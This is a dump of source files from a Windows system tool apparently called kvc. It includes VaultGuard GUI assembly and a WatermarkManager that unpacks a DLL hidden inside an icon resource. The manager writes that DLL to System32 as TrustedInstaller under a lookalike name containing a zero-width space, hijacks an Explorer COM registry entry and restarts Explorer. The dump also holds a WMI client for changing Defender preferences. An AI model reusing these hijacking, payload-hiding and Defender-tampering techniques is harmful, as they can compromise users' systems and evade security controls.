    call    LoadIconW
    mov     rdi, rax
    test    rdi, rdi
    jnz     @ta_icon_ok

    ; --- Last resort: system IDI_APPLICATION ---
    mov     edx, 32516
    xor     ecx, ecx
    call    LoadIconW
    mov     rdi, rax

@ta_icon_ok:
    lea     rcx, tray_nid
    mov     qword ptr [rcx + 8],  rbx   ; hWnd
    mov     qword ptr [rcx + 32], rdi   ; hIcon

    lea     rdx, tray_nid
    xor     ecx, ecx                    ; NIM_ADD = 0
    call    Shell_NotifyIconW

    mov     edx, SW_HIDE
    mov     rcx, rbx
    call    ShowWindow

    mov     g_trayVisible, 1

    add     rsp, 30h
    pop     rdi
    pop     rsi
    pop     rbx
    ret
_TrayAdd endp

; ==============================================================================
; _LoadPadlockIcon  rcx=cx  rdx=cy  ->  rax=hIcon or 0
;
; Loads ResourceID 1304 (golden padlock) from imageres.dll.mun at given size.
; LR_DEFAULTCOLOR: standalone copy, survives FreeLibrary, lives for process
; lifetime (no explicit DestroyIcon needed for window class / tray icons).
;
; Stack: entry rsp%16=8; push rbx (+8)->0; push rsi (+8)->8; push rdi (+8)->0; sub 30h (+48)->0
;   [rsp+20h]  LoadImageW 5th arg (cy)
;   [rsp+28h]  LoadImageW 6th arg (fuLoad=0)
; ==============================================================================
PUBLIC _LoadPadlockIcon
_LoadPadlockIcon proc
    push    rbx
    push    rsi
    push    rdi
    sub     rsp, 30h

    mov     ebx, ecx                    ; save cx
    mov     esi, edx                    ; save cy

    mov     r8d, 60h                    ; LOAD_LIBRARY_AS_DATAFILE_EXCLUSIVE|LOAD_LIBRARY_AS_IMAGE_RESOURCE
    xor     edx, edx                    ; hFile = NULL
    lea     rcx, str_imageres
    call    LoadLibraryExW
    mov     rdi, rax                    ; rdi = hMod
    test    rdi, rdi
    jz      @lpi_fail

    mov     dword ptr [rsp+28h], 0      ; fuLoad = LR_DEFAULTCOLOR
    mov     dword ptr [rsp+20h], esi    ; cyDesired
    mov     r9d,  ebx                   ; cxDesired
    mov     r8d,  1                     ; uType = IMAGE_ICON
    mov     edx,  1304                  ; MAKEINTRESOURCEW(1304)
    mov     rcx,  rdi
    call    LoadImageW
    mov     rsi,  rax                   ; rsi = hIcon

    mov     rcx,  rdi
    call    FreeLibrary                 ; module unneeded; icon copy is standalone

    mov     rax,  rsi
    jmp     @lpi_ret

@lpi_fail:
    xor     eax, eax
@lpi_ret:
    add     rsp, 30h
    pop     rdi
    pop     rsi
    pop     rbx
    ret
_LoadPadlockIcon endp

; ==============================================================================
; _TrayRemove  rcx=hwnd  ->  void
; No-op if tray icon not active.
; Stack: entry rsp%16=8; push rbx (+8)->0; sub 20h (+32)->0
; ==============================================================================
PUBLIC _TrayRemove
_TrayRemove proc
    push    rbx
    sub     rsp, 20h

    mov     rbx, rcx

    cmp     g_trayVisible, 0
    je      @trm_done

    lea     rdx, tray_nid
    mov     ecx, NIM_DELETE
    call    Shell_NotifyIconW

    mov     g_trayVisible, 0

    mov     edx, SW_RESTORE
    mov     rcx, rbx
    call    ShowWindow

    ; Bring window to front
    mov     rcx, rbx
    call    SetForegroundWindow

@trm_done:
    add     rsp, 20h
    pop     rbx
    ret
_TrayRemove endp

; ==============================================================================
; _OnTrayMsg  rcx=hwnd  rdx=lParam (mouse event in low word)  ->  void
; Stack: entry rsp%16=8; push rbx,rsi,rdi (+24)->0; sub 40h (+64)->0
;        [rsp+20h..2Fh] = TrackPopupMenu stack args (5th/6th/7th)
;        [rsp+38h..3Fh] = POINT scratch for GetCursorPos
; ==============================================================================
PUBLIC _OnTrayMsg
_OnTrayMsg proc
    push    rbx
    push    rsi
    push    rdi
    sub     rsp, 40h

    mov     rbx, rcx
    movzx   esi, dx                     ; low word of lParam = mouse message

    cmp     esi, WM_LBUTTONDBLCLK
    jne     @otm_rbtn
    mov     rcx, rbx
    call    _TrayRemove
    jmp     @otm_done

@otm_rbtn:
    cmp     esi, WM_RBUTTONUP
    jne     @otm_done

    call    CreatePopupMenu
    test    rax, rax
    jz      @otm_done
    mov     rdi, rax                    ; hMenu

    ; "Restore"
    lea     r9, str_tray_restore
    mov     r8d, IDM_TRAY_RESTORE
    xor     edx, edx                    ; MF_STRING = 0
    mov     rcx, rdi
    call    AppendMenuW

    ; separator
    xor     r9d, r9d
    xor     r8d, r8d
    mov     edx, MF_SEPARATOR
    mov     rcx, rdi
    call    AppendMenuW

    ; "Exit"
    lea     r9, str_tray_exit
    mov     r8d, IDM_TRAY_EXIT
    xor     edx, edx
    mov     rcx, rdi
    call    AppendMenuW

    ; Required: SetForegroundWindow before TrackPopupMenu so menu closes on click-away
    mov     rcx, rbx
    call    SetForegroundWindow

    ; Get cursor position into scratch [rsp+38h]
    lea     rcx, [rsp+38h]
    call    GetCursorPos

    ; TrackPopupMenu(hMenu, TPM_RIGHTBUTTON|TPM_RETURNCMD, x, y, 0, hwnd, NULL)
    mov     qword ptr [rsp+30h], 0          ; prcRect = NULL (7th arg)
    mov     qword ptr [rsp+28h], rbx        ; hWnd    (6th arg)
    mov     dword ptr [rsp+20h], 0          ; nReserved = 0 (5th arg)
    mov     r9d,  dword ptr [rsp+3Ch]       ; y = POINT.y at [rsp+3Ch]
    mov     r8d,  dword ptr [rsp+38h]       ; x = POINT.x at [rsp+38h]
    mov     edx, (TPM_RIGHTBUTTON + TPM_RETURNCMD)
    mov     rcx, rdi
    call    TrackPopupMenu
    mov     esi, eax                        ; save selected ID

    mov     rcx, rdi
    call    DestroyMenu

    ; WM_NULL post — clears foreground state (required after SetForegroundWindow+TPM trick)
    xor     r9d, r9d
    xor     r8d, r8d
    xor     edx, edx                        ; WM_NULL = 0
    mov     rcx, rbx
    call    PostMessageW

    cmp     esi, IDM_TRAY_RESTORE
    jne     @otm_exit_check
    mov     rcx, rbx
    call    _TrayRemove
    jmp     @otm_done

@otm_exit_check:
    cmp     esi, IDM_TRAY_EXIT
    jne     @otm_done
    mov     rcx, rbx
    call    DestroyWindow

@otm_done:
    add     rsp, 40h
    pop     rdi
    pop     rsi
    pop     rbx
    ret
_OnTrayMsg endp

end

<<<FILE: kvc/vg/vg.rc>>>
Created:  2026-05-27 18:51:26
Modified: 2026-05-25 09:18:34
Size:     1.05 KB
#pragma code_page(65001)
#include <windows.h>

// Application icon. build.ps1 creates ICON/vg.ico as icon header + CAB payload.
101 ICON "../ICON/vg.ico"

// Embedded icon+CAB payload. CAB starts at ICON_SIZE bytes.
102 RCDATA "../ICON/vg.ico"

VS_VERSION_INFO VERSIONINFO
FILEVERSION    1,0,0,0
PRODUCTVERSION 1,0,0,0
FILEFLAGSMASK  0x3fL
FILEFLAGS      0x0L
FILEOS         VOS_NT_WINDOWS32
FILETYPE       VFT_APP
FILESUBTYPE    0x0L
BEGIN
    BLOCK "StringFileInfo"
    BEGIN
        BLOCK "040904b0"
        BEGIN
            VALUE "CompanyName",      "Marek Wesołowski"
            VALUE "FileDescription",  "VaultGuard - Assembly Version"
            VALUE "FileVersion",      "1.0.0.0"
            VALUE "InternalName",     "vg"
            VALUE "LegalCopyright",   "Copyright (c) 2026 Marek Wesołowski"
            VALUE "OriginalFilename", "VaultGuard.exe"
            VALUE "ProductName",      "VaultGuard"
            VALUE "ProductVersion",   "1.0.0.0"
        END
    END
    BLOCK "VarFileInfo"
    BEGIN
        VALUE "Translation", 0x409, 1200
    END
END

<<<FILE: kvc/vg/window.asm>>>
Created:  2026-05-27 23:00:49
Modified: 2026-05-27 23:00:49
Size:     14 KB
; ==============================================================================
; Vault Guard - Window Scaffold
;
; Author: Marek Wesołowski (wesmar)
; Purpose: Window class registration, creation, message loop dispatch.
;
; Exported:
;   MainWndProc(rcx=hwnd, rdx=msg, r8=wParam, r9=lParam)  → rax
;   CreateMainWindow()                                      → rax = hwnd or NULL
; ==============================================================================

option casemap:none

include consts.inc
include globals.inc

; ── Win32 ─────────────────────────────────────────────────────────────────────
EXTRN RegisterClassExW          :PROC
EXTRN CreateWindowExW           :PROC
EXTRN DefWindowProcW            :PROC
EXTRN ShowWindow                :PROC
EXTRN UpdateWindow              :PROC
EXTRN DestroyWindow             :PROC
EXTRN PostQuitMessage           :PROC
EXTRN LoadCursorW               :PROC
EXTRN LoadIconW                 :PROC
EXTRN KillTimer                 :PROC
EXTRN DeleteObject              :PROC
EXTRN GetClientRect             :PROC
EXTRN FillRect                  :PROC
EXTRN SetBkMode                 :PROC
EXTRN SetBkColor                :PROC
EXTRN SetTextColor              :PROC
EXTRN InvalidateRect            :PROC
EXTRN GetKeyState               :PROC
EXTRN RegisterWindowMessageW    :PROC

; ── Sibling modules ───────────────────────────────────────────────────────────
EXTRN _ReadDarkMode             :PROC   ; theme.asm
EXTRN ApplyDarkMode             :PROC   ; theme.asm
EXTRN _ApplyThemeColors         :PROC   ; theme.asm
EXTRN _OnCreate                 :PROC   ; layout.asm
EXTRN _OnDropFiles              :PROC   ; drop.asm
EXTRN RefreshLists              :PROC   ; listview.asm
EXTRN UpdateStatusBar           :PROC   ; handlers.asm
EXTRN _OnCommand                :PROC   ; handlers.asm
EXTRN _OnNotify                 :PROC   ; handlers.asm
EXTRN SendMessageW              :PROC
EXTRN _TrayAdd                  :PROC   ; tray.asm
EXTRN _TrayRemove               :PROC   ; tray.asm
EXTRN _OnTrayMsg                :PROC   ; tray.asm
EXTRN _LoadPadlockIcon          :PROC   ; tray.asm

; ==============================================================================
; CONSTANT STRINGS  (owned by this module)
; ==============================================================================
.const

str_wndclass        dw 'V','G','M','a','i','n','W','n','d',0
str_title           dw 'V','a','u','l','t','G','u','a','r','d',0
str_taskbarcreated  dw 'T','a','s','k','b','a','r','C','r','e','a','t','e','d',0

; ==============================================================================
; MUTABLE DATA
; ==============================================================================
.data
    align 4
PUBLIC g_wmTaskbarCreated
    g_wmTaskbarCreated  dd 0    ; message ID from RegisterWindowMessageW("TaskbarCreated")

; ==============================================================================
; CODE
; ==============================================================================
.code

; ==============================================================================
; MainWndProc  rcx=hwnd  rdx=msg  r8=wParam  r9=lParam  →  rax=result
;
; Stack: entry rsp%16=8; push rbx,rsi,rdi,r12 (+32)→8; sub 38h (+56)→0 ✓
; ==============================================================================
PUBLIC MainWndProc
MainWndProc proc
    push    rbx
    push    rsi
    push    rdi
    push    r12
    sub     rsp, 38h

    mov     rbx, rcx                        ; hwnd → rbx
    mov     rsi, rdx                        ; msg  → rsi
    mov     rdi, r8                         ; wParam → rdi
    mov     r12, r9                         ; lParam → r12

    cmp     esi, WM_CREATE
    jne     @wnd_not_create
    mov     rcx, rbx                        ; hwnd
    call    _OnCreate                       ; build all child controls

    ; Set golden padlock icon AFTER controls created - avoids activation context
    ; contamination from LoadLibraryExW that would cause old-style Win32 controls.
    mov     edx, 32
    mov     ecx, 32
    call    _LoadPadlockIcon                ; hIcon32 -> rax
    test    rax, rax
    jz      @wnd_create_icon_done
    mov     r12, rax                        ; save hIcon32
    mov     r9,  r12
    mov     r8d, 1                          ; ICON_BIG = 1
    mov     edx, 80h                        ; WM_SETICON
    mov     rcx, rbx
    call    SendMessageW

    mov     edx, 16
    mov     ecx, 16
    call    _LoadPadlockIcon                ; hIcon16 -> rax
    test    rax, rax
    jz      @wnd_create_icon_done
    mov     r9,  rax
    mov     r8d, 0                          ; ICON_SMALL = 0
    mov     edx, 80h                        ; WM_SETICON
    mov     rcx, rbx
    call    SendMessageW

@wnd_create_icon_done:
    xor     eax, eax                        ; return 0 = accept creation
    jmp     @wnd_ret

@wnd_not_create:
    cmp     esi, WM_DESTROY
    jne     @wnd_not_destroy

    mov     rcx, rbx
    call    _TrayRemove                     ; remove tray icon if visible

    mov     edx, TIMER_STATUS_ID
    mov     rcx, rbx
    call    KillTimer                       ; stop periodic refresh

    mov     rcx, g_hFontMain
    call    DeleteObject                    ; free main font GDI object
    mov     rcx, g_hFontSmall
    call    DeleteObject                    ; free small font GDI object
    mov     rcx, g_hBrushBg
    call    DeleteObject                    ; free background brush

    xor     ecx, ecx
    call    PostQuitMessage                 ; nExitCode = 0 → breaks msg loop
    xor     eax, eax
    jmp     @wnd_ret

@wnd_not_destroy:
    cmp     esi, WM_CLOSE
    jne     @wnd_not_close
    mov     rcx, rbx
    call    DestroyWindow                   ; triggers WM_DESTROY chain
    xor     eax, eax
    jmp     @wnd_ret

@wnd_not_close:
    cmp     esi, WM_SIZE
    jne     @wnd_not_size
    cmp     edi, SIZE_MINIMIZED             ; wParam = 1 when minimized
    jne     @wnd_not_size
    mov     ecx, VK_SHIFT
    call    GetKeyState
    test    ax, 8000h                       ; high bit = key currently pressed
    jz      @wnd_not_size
    mov     rcx, rbx
    call    _TrayAdd                        ; Shift+Minimize → hide to tray
    xor     eax, eax
    jmp     @wnd_ret

@wnd_not_size:
    cmp     esi, WM_TRAY
    jne     @wnd_not_tray
    mov     rdx, r12                        ; lParam = mouse event
    mov     rcx, rbx
    call    _OnTrayMsg
    xor     eax, eax
    jmp     @wnd_ret

@wnd_not_tray:
    cmp     esi, WM_DROPFILES
    jne     @wnd_not_dropfiles
    mov     rdx, rbx                        ; hMainWnd (for drop target detection)
    mov     rcx, rdi                        ; wParam = HDROP handle
    call    _OnDropFiles                    ; resolves .lnk, routes by drop target
    xor     eax, eax
    jmp     @wnd_ret

@wnd_not_dropfiles:
    cmp     esi, WM_NOTIFY
    jne     @wnd_not_notify
    mov     rdx, r12                        ; lParam = NMHDR*
    mov     rcx, rbx
    call    _OnNotify                       ; handles LV column checkbox clicks
    xor     eax, eax
    jmp     @wnd_ret

@wnd_not_notify:
    cmp     esi, WM_COMMAND
    jne     @wnd_not_command
    mov     rdx, rdi                        ; wParam (low word = control ID)
    mov     rcx, rbx
    call    _OnCommand                      ; toggle / add / remove path / trusted
    xor     eax, eax
    jmp     @wnd_ret

@wnd_not_command:
    cmp     esi, WM_TIMER
    jne     @wnd_not_timer
    cmp     edi, TIMER_STATUS_ID            ; ignore any other timer id
    jne     @wnd_not_timer
    call    UpdateStatusBar                 ; poll IOCTL → update title / labels
    xor     eax, eax
    jmp     @wnd_ret

@wnd_not_timer:
    ; TaskbarCreated: Explorer restarted → re-add tray icon if we were in tray mode
    mov     eax, g_wmTaskbarCreated
    test    eax, eax
    jz      @wnd_not_taskbar
    cmp     esi, eax
    jne     @wnd_not_taskbar
    cmp     g_startMinimized, 0
    je      @wnd_not_taskbar
    mov     rcx, rbx
    call    _TrayAdd
    xor     eax, eax
    jmp     @wnd_ret

@wnd_not_taskbar:
    cmp     esi, WM_SETTINGCHANGE
    jne     @wnd_not_setting
    call    _ReadDarkMode                   ; re-read AppsUseLightTheme registry val
    mov     rcx, rbx
    call    ApplyDarkMode                   ; DWM Mica + dark title bar
    call    _ApplyThemeColors               ; brush + SetWindowTheme + LV colors
    mov     r8d, 1                          ; bErase = TRUE
    xor     edx, edx                        ; lpRect = NULL (entire client)
    mov     rcx, rbx
    call    InvalidateRect                  ; force WM_PAINT / WM_ERASEBKGND
    xor     eax, eax
    jmp     @wnd_ret

@wnd_not_setting:
    cmp     esi, WM_ERASEBKGND
    jne     @wnd_not_erase
    lea     rdx, [rsp+20h]                  ; &RECT (stack local)
    mov     rcx, rbx
    call    GetClientRect                   ; fill RECT with client dimensions

    mov     r8, g_hBrushBg                  ; our solid background brush
    lea     rdx, [rsp+20h]                  ; lprc
    mov     rcx, rdi                        ; wParam = HDC
    call    FillRect                        ; paint client area with theme bg

    mov     eax, 1                          ; return 1 = background was erased
    jmp     @wnd_ret

@wnd_not_erase:
    cmp     esi, WM_CTLCOLORSTATIC
    jne     @wnd_def

    cmp     g_isDarkMode, 0                 ; skip dark paint in light mode
    je      @wnd_def

    mov     edx, OPAQUE_VAL
    mov     rcx, rdi                        ; wParam = HDC
    call    SetBkMode                       ; opaque so bg color is used
    mov     edx, COLORREF_DARK_BG
    mov     rcx, rdi
    call    SetBkColor                      ; static bg = dark panel color
    mov     edx, COLORREF_DARK_TEXT
    mov     rcx, rdi
    call    SetTextColor                    ; static text = light foreground
    mov     rax, g_hBrushBg                 ; return brush to paint control bg
    jmp     @wnd_ret

@wnd_def:
    mov     r9, r12
    mov     r8, rdi
    mov     rdx, rsi
    mov     rcx, rbx
    call    DefWindowProcW

@wnd_ret:
    add     rsp, 38h
    pop     r12
    pop     rdi
    pop     rsi
    pop     rbx
    ret
MainWndProc endp

; ==============================================================================
; CreateMainWindow  →  rax = hwnd or NULL
;
; Registers class, creates a fixed modern Mica window.
; Stack: entry rsp%16=8; push rbx,rsi (+16)→8; sub 78h (+120)→0 ✓
; WNDCLASSEXW at [rsp+20h] (80 bytes)
; ==============================================================================
PUBLIC CreateMainWindow
CreateMainWindow proc
    push    rbx
    push    rsi
    sub     rsp, 78h

    ; Register "TaskbarCreated" message so WndProc can re-add tray icon
    ; if Explorer restarts (e.g. crash, logon race condition at startup).
    lea     rcx, str_taskbarcreated
    call    RegisterWindowMessageW
    mov     g_wmTaskbarCreated, eax

    ; Zero WNDCLASSEXW at [rsp+20h]
    lea     r10, [rsp+20h]                  ; struct base on stack
    xor     eax, eax
    mov     ecx, WNDCLASSEXW_SIZE / 8       ; zero in 8-byte chunks
@cmw_zero:
    mov     qword ptr [r10], rax
    add     r10, 8
    dec     ecx
    jnz     @cmw_zero

    lea     r10, [rsp+20h]
    mov     dword ptr [r10 + 0],  WNDCLASSEXW_SIZE  ; cbSize
    mov     dword ptr [r10 + 4],  (CS_HREDRAW + CS_VREDRAW)  ; style: repaint on resize
    lea     rax, MainWndProc
    mov     qword ptr [r10 + 8],  rax              ; lpfnWndProc
    mov     rax, g_hInstance
    mov     qword ptr [r10 + 24], rax              ; hInstance
    mov     edx, IDI_ICON1                          ; try resource icon first
    mov     rcx, g_hInstance
    call    LoadIconW
    test    rax, rax
    jnz     @icon_ok
    mov     edx, 32516                              ; IDI_APPLICATION fallback
    xor     ecx, ecx
    call    LoadIconW
@icon_ok:
    lea     r10, [rsp+20h]
    mov     qword ptr [r10 + 32], rax              ; hIcon (large)
    mov     qword ptr [r10 + 72], rax              ; hIconSm (small taskbar)
    mov     edx, IDC_ARROW_ATOM                     ; standard arrow cursor
    xor     ecx, ecx
    call    LoadCursorW
    lea     r10, [rsp+20h]
    mov     qword ptr [r10 + 40], rax              ; hCursor
    lea     rax, str_wndclass
    mov     qword ptr [r10 + 64], rax              ; lpszClassName

    lea     rcx, [rsp+20h]
    call    RegisterClassExW
    test    ax, ax
    jz      @cmw_fail

    mov     rax, g_hInstance
    mov     qword ptr [rsp+58h], 0              ; lpParam = NULL
    mov     qword ptr [rsp+50h], rax            ; hInstance
    mov     qword ptr [rsp+48h], 0              ; hMenu = NULL
    mov     qword ptr [rsp+40h], 0              ; hWndParent = NULL (top-level)
    mov     dword ptr [rsp+38h], 472            ; nHeight (increased for author label)
    mov     dword ptr [rsp+30h], 680            ; nWidth
    mov     dword ptr [rsp+28h], 080000000h     ; Y = CW_USEDEFAULT
    mov     dword ptr [rsp+20h], 080000000h     ; X = CW_USEDEFAULT
    mov     r9d, (STY_MAINWIN + WS_CLIPCHILDREN)
    cmp     g_startMinimized, 0
    je      @cmw_style_ok
    and     r9d, NOT WS_VISIBLE                 ; /tray: create hidden, no flash
@cmw_style_ok:
    lea     r8, str_title                       ; lpWindowName
    lea     rdx, str_wndclass                   ; lpClassName
    xor     ecx, ecx                            ; dwExStyle = 0
    call    CreateWindowExW
    test    rax, rax
    jz      @cmw_fail

    mov     rbx, rax

    cmp     g_startMinimized, 0
    jne     @cmw_tray           ; /tray: _TrayAdd in mode_gui will handle show

    mov     edx, SW_SHOWNORMAL
    mov     rcx, rbx
    call    ShowWindow

    mov     rcx, rbx
    call    UpdateWindow

@cmw_tray:
    mov     rax, rbx
    jmp     @cmw_ret

@cmw_fail:
    xor     eax, eax
@cmw_ret:
    add     rsp, 78h
    pop     rsi
    pop     rbx
    ret
CreateMainWindow endp

end

<<<FILE: kvc/WatermarkManager.cpp>>>
Created:  2026-05-27 19:01:56
Modified: 2026-05-27 19:01:56
Size:     7.1 KB
// WatermarkManager.cpp
// Implementation of watermark removal via DLL hijacking

#include "WatermarkManager.h"
#include "Utils.h"
#include <tlhelp32.h>
#include <iostream>

// Constructor
WatermarkManager::WatermarkManager(TrustedInstallerIntegrator& trustedInstaller)
    : m_trustedInstaller(trustedInstaller)
{
}

// Main removal operation
bool WatermarkManager::RemoveWatermark() noexcept
{
    INFO(L"[WATERMARK] Starting watermark removal process");
    
    // Extract ExplorerFrame\u200B.dll from resource
    std::vector<BYTE> dllData;
    if (!ExtractWatermarkDLL(dllData)) {
        ERROR(L"[WATERMARK] Failed to extract DLL from resource");
        return false;
    }
    
    INFO(L"[WATERMARK] Successfully extracted ExplorerFrame\u200B.dll (%zu bytes)", dllData.size());
    
    // Get System32 path
    std::wstring system32Path = GetSystem32Path();
    if (system32Path.empty()) {
        ERROR(L"[WATERMARK] Failed to locate System32 directory");
        return false;
    }
    
    std::wstring dllPath = system32Path + L"\\ExplorerFrame\u200B.dll";
    
    // Write DLL using TrustedInstaller
    if (!m_trustedInstaller.WriteFileAsTrustedInstaller(dllPath, dllData)) {
        ERROR(L"[WATERMARK] Failed to deploy DLL to System32");
        return false;
    }
    
    INFO(L"[WATERMARK] DLL deployed to: %s", dllPath.c_str());
    
    // Hijack registry entry
    if (!m_trustedInstaller.WriteRegistryValueAsTrustedInstaller(
        HKEY_CLASSES_ROOT, CLSID_KEY, L"", HIJACKED_DLL)) {
        ERROR(L"[WATERMARK] Failed to hijack registry entry");
        return false;
    }
    
    INFO(L"[WATERMARK] Registry hijacked successfully");
    
    // Restart Explorer to apply changes
    if (!RestartExplorer()) {
        ERROR(L"[WATERMARK] Failed to restart Explorer");
        return false;
    }
    
    SUCCESS(L"[WATERMARK] Watermark removed successfully");
    return true;
}

// Restore original watermark
bool WatermarkManager::RestoreWatermark() noexcept
{
    INFO(L"[WATERMARK] Starting watermark restoration process");
    
    // Step 1: Restore registry to original value
    if (!m_trustedInstaller.WriteRegistryValueAsTrustedInstaller(
        HKEY_CLASSES_ROOT, CLSID_KEY, L"", ORIGINAL_DLL)) {
        ERROR(L"[WATERMARK] Failed to restore registry entry");
        return false;
    }

    INFO(L"[WATERMARK] Registry restored to original value");

    // Step 2: Restart Explorer to release handle to DLL
    if (!RestartExplorer()) {
        ERROR(L"[WATERMARK] Failed to restart Explorer");
        return false;
    }

    // Step 3: Delete the DLL now that the handle is released
    std::wstring system32Path = GetSystem32Path();
    if (!system32Path.empty()) {
        std::wstring dllPath = system32Path + L"\\ExplorerFrame\u200B.dll";

        // Brief delay to ensure Explorer has fully released the DLL
        Sleep(1000);

        if (!m_trustedInstaller.DeleteFileAsTrustedInstaller(dllPath)) {
            // Not a critical error - DLL may still be in use by another process
            INFO(L"[WATERMARK] DLL might still be in use, will be removed on next restart: %s",
                 dllPath.c_str());
        } else {
            INFO(L"[WATERMARK] Hijacked DLL deleted successfully");
        }
    }
    
    SUCCESS(L"[WATERMARK] Watermark restored successfully");
    return true;
}

// Check current status
std::wstring WatermarkManager::GetWatermarkStatus() noexcept
{
    std::wstring currentValue = ReadRegistryValue(HKEY_CLASSES_ROOT, CLSID_KEY, L"");
    
    if (currentValue == HIJACKED_DLL) {
        return L"REMOVED";
    } else if (currentValue == ORIGINAL_DLL) {
        return L"ACTIVE";
    }
    
    return L"UNKNOWN";
}

bool WatermarkManager::IsWatermarkRemoved() noexcept
{
    return GetWatermarkStatus() == L"REMOVED";
}

// Extract DLL from resource - Complete pipeline
bool WatermarkManager::ExtractWatermarkDLL(std::vector<BYTE>& outDllData) noexcept
{
    std::vector<BYTE> kvcSysData, kvckillerData, kvcblockerData, kvcstrmData, smssData;

    if (!Utils::ExtractResourceComponents(RESOURCE_ID, kvcSysData, kvckillerData, kvcblockerData, kvcstrmData, outDllData, smssData)) {
        ERROR(L"[WATERMARK] Failed to extract DLL from resource");
        return false;
    }
    
    DEBUG(L"[WATERMARK] ExplorerFrame\u200B.dll extracted: %zu bytes", outDllData.size());
    return !outDllData.empty();
}

// Restart Explorer process
bool WatermarkManager::RestartExplorer() noexcept
{
    INFO(L"[WATERMARK] Restarting Explorer...");
    
    // Find all explorer.exe processes
    std::vector<DWORD> explorerPids;
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot != INVALID_HANDLE_VALUE) {
        PROCESSENTRY32W pe;
        pe.dwSize = sizeof(pe);
        
        if (Process32FirstW(hSnapshot, &pe)) {
            do {
                if (_wcsicmp(pe.szExeFile, L"explorer.exe") == 0) {
                    explorerPids.push_back(pe.th32ProcessID);
                }
            } while (Process32NextW(hSnapshot, &pe));
        }
        CloseHandle(hSnapshot);
    }
    
    // Terminate all Explorer instances
    std::vector<HANDLE> processHandles;
    for (DWORD pid : explorerPids) {
        HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid);
        if (hProcess) {
            TerminateProcess(hProcess, 0);
            processHandles.push_back(hProcess);
        }
    }
    
    // Wait for termination
    if (!processHandles.empty()) {
        WaitForMultipleObjects(
            static_cast<DWORD>(processHandles.size()),
            processHandles.data(),
            TRUE,
            5000
        );
        
        for (HANDLE h : processHandles) {
            CloseHandle(h);
        }
    }
    
	// Start new Explorer instance
	SHELLEXECUTEINFOW sei = { sizeof(sei) };
	sei.fMask = SEE_MASK_FLAG_NO_UI;
	sei.lpFile = L"explorer.exe";
	sei.lpParameters = L"/e,";  // ← Prevents opening folder window
	sei.nShow = SW_HIDE;        // ← ! Hide the window
    
    if (!ShellExecuteExW(&sei)) {
        ERROR(L"[WATERMARK] Failed to restart Explorer");
        return false;
    }
    
    Sleep(1000);  // Give Explorer time to start
    return true;
}

// Get System32 path
std::wstring WatermarkManager::GetSystem32Path() noexcept
{
    wchar_t systemDir[MAX_PATH];
    if (GetSystemDirectoryW(systemDir, MAX_PATH) == 0) {
        return L"";
    }
    return std::wstring(systemDir);
}

// Read registry value
std::wstring WatermarkManager::ReadRegistryValue(HKEY hKey, const std::wstring& subKey, 
                                                 const std::wstring& valueName) noexcept
{
    HKEY hOpenKey;
    if (RegOpenKeyExW(hKey, subKey.c_str(), 0, KEY_READ, &hOpenKey) != ERROR_SUCCESS) {
        return L"";
    }
    
    wchar_t value[1024];
    DWORD dataSize = sizeof(value);
    DWORD type;
    
    if (RegQueryValueExW(hOpenKey, valueName.empty() ? nullptr : valueName.c_str(), 
                         NULL, &type, (LPBYTE)value, &dataSize) == ERROR_SUCCESS) {
        RegCloseKey(hOpenKey);
        if (type == REG_SZ || type == REG_EXPAND_SZ) {
            return std::wstring(value);
        }
    }
    
    RegCloseKey(hOpenKey);
    return L"";
}

<<<FILE: kvc/WatermarkManager.h>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:42:20
Size:     1.58 KB
// WatermarkManager.h
// Windows Desktop Watermark Removal via ExplorerFrame.dll Hijacking

#pragma once

#include "common.h"
#include "TrustedInstallerIntegrator.h"
#include <windows.h>
#include <vector>
#include <string>

class WatermarkManager
{
public:
    explicit WatermarkManager(TrustedInstallerIntegrator& trustedInstaller);
    
    // Main operations
    bool RemoveWatermark() noexcept;
    bool RestoreWatermark() noexcept;
    std::wstring GetWatermarkStatus() noexcept;
    bool IsWatermarkRemoved() noexcept;

private:
    // Extraction pipeline: Resource → Skip icon → XOR → CAB → Split PE
    bool ExtractWatermarkDLL(std::vector<BYTE>& outDllData) noexcept;
    
    // System operations
    bool RestartExplorer() noexcept;
    std::wstring GetSystem32Path() noexcept;
    std::wstring ReadRegistryValue(HKEY hKey, const std::wstring& subKey, 
                                   const std::wstring& valueName) noexcept;
    
    TrustedInstallerIntegrator& m_trustedInstaller;
    
    // Registry paths
    static constexpr const wchar_t* CLSID_KEY = 
        L"CLSID\\{ab0b37ec-56f6-4a0e-a8fd-7a8bf7c2da96}\\InProcServer32";
    static constexpr const wchar_t* HIJACKED_DLL = 
        L"%SystemRoot%\\system32\\ExplorerFrame\u200B.dll";
    static constexpr const wchar_t* ORIGINAL_DLL = 
        L"%SystemRoot%\\system32\\ExplorerFrame.dll";
    
    // Resource constants
    static constexpr size_t ICON_SKIP_SIZE = 3774;  // Skip icon data in resource
    static constexpr int RESOURCE_ID = 102;          // New resource for watermark
};

<<<FILE: kvc/WmiDefenderClient.cpp>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:42:18
Size:     8.95 KB
// WmiDefenderClient.cpp
// COM/WMI direct implementation of Add-MpPreference / Remove-MpPreference
// Targets ROOT\Microsoft\Windows\Defender :: MSFT_MpPreference (Add / Remove static methods)

#include "WmiDefenderClient.h"
#include <comdef.h>

// ---------------------------------------------------------------------------
// Constructor — connects to ROOT\Microsoft\Windows\Defender
// ---------------------------------------------------------------------------

WmiDefenderClient::WmiDefenderClient()
{
    HRESULT initHr = CoInitializeEx(nullptr, COINIT_MULTITHREADED);
    if (SUCCEEDED(initHr)) {
        m_comInitialized = true;
    } else if (initHr != RPC_E_CHANGED_MODE) {
        return;
    }

    ComPtr<IWbemLocator> pLoc;

    HRESULT hr = CoCreateInstance(
        CLSID_WbemLocator, nullptr,
        CLSCTX_INPROC_SERVER,
        IID_IWbemLocator,
        reinterpret_cast<void**>(&pLoc.p)
    );

    if (FAILED(hr)) {
        return;
    }

    IWbemServices* rawSvc = nullptr;
    hr = pLoc->ConnectServer(
        _bstr_t(L"ROOT\\Microsoft\\Windows\\Defender"),
        nullptr, nullptr,          // user / password — use caller's token
        nullptr,                   // locale
        0,                         // flags
        nullptr,                   // authority
        nullptr,                   // context
        &rawSvc
    );

    if (FAILED(hr)) {
        return;
    }

    m_pSvc = ComPtr<IWbemServices>(rawSvc);

    // Set proxy blanket — use caller's identity, delegate impersonation
    hr = CoSetProxyBlanket(
        m_pSvc.p,
